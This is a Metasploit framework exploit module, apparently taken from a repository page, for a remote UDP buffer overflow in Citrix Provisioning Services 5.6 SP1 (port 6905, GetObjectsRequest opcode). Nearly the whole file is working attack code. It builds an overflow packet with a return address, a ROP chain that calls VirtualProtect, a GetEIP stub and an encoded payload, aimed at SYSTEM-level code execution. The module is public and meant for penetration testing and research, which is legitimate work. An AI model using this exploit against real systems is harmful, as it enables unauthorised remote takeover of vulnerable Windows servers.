Path: blob/master/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020006 Buffer Overflow',15'Description' => %q{16This module exploits a remote buffer overflow in the Citrix Provisioning Services175.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode180x40020006 (GetObjetsRequest) to the 6905/UDP port. The module, which allows code execution19under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP220and Windows XP SP3.21},22'License' => MSF_LICENSE,23'Author' => [24'Anyway <Aniway.Anyway[at]gmail.com>', # Vulnerability Discovery25'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author26'juan vazquez' # Metasploit module27],28'References' => [29['OSVDB', '75780'],30['BID', '49803'],31['URL', 'http://support.citrix.com/article/CTX130846'],32['ZDI', '12-010']33],34'DefaultOptions' => {35'EXITFUNC' => 'process',36'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',37},38'Payload' => {39'BadChars' => "\x00",40'EncoderOptions' => { 'BufferRegister' => 'ECX' },41},42'Platform' => ['win'],43'Targets' => [44[45'Citrix Provisioning Services 5.6 SP1',46{47'Offset' => 1500,48'Ret' => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe49}50]51],52'Privileged' => true,53'DisclosureDate' => '2011-11-04', # CTX130846 creation date54'DefaultTarget' => 0,55'Notes' => {56'Reliability' => UNKNOWN_RELIABILITY,57'Stability' => UNKNOWN_STABILITY,58'SideEffects' => UNKNOWN_SIDE_EFFECTS59}60)61)6263register_options([Opt::RPORT(6905)])64end6566def exploit67packet = "\x06\x00\x02\x40" # DATA MSG68packet << rand_text_alpha_upper(18)69packet << "\x00\x00\x00\x00"70packet << "\x00\x00\x00\x00" # Length71packet << rand_text_alpha_upper(target['Offset'])72packet << [target.ret].pack('V')7374rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe7576rop_gadgets =77[780x0045b141, # POP EAX; RETN streamprocess.exe790x1009a1bc, # VirtualProtect()800x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe810x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe820x004ad0cf, # POP EBP; RETN streamprocess.exe830x00455d9d, # PUSH ESP; RETN streamprocess.exe840x00497f5a, # POP EAX; RETN streamprocess.exe850xfffff9d0, # dwSize860x00447669, # NEG EAX; RETN streamprocess.exe870x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe880x00426305, # POP ECX; RETN streamprocess.exe890x00671fb9, # lpflOldProtect900x004e41e6, # POP EDI; RETN streamprocess.exe910x0040f004, # RETN streamprocess.exe920x00495c05, # POP EAX; RETN streamprocess.exe930xffffffc0, # flNewProtect940x0042c79a, # NEG EAX; RETN streamprocess.exe950x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe960x0045c1fa, # POP EAX; RETN streamprocess.exe970x90909090, # NOP980x00435bbe, # PUSHAD; RETN streamprocess.exe99].pack("V*")100101packet[338, rop_nop.length] = rop_nop102packet[490, rop_gadgets.length] = rop_gadgets103# Put payload address in ecx104geteip = "\xeb\x03" # jmp short 0x5105geteip << "\x59" # pop ecx106geteip << "\xff\xd1" # call ecx107geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"108packet[574, 10] = geteip109packet[584, payload.encoded.length] = payload.encoded110111print_status("Trying target #{target.name}...")112113connect_udp114udp_sock.put(packet)115116handler117disconnect_udp118end119end120121122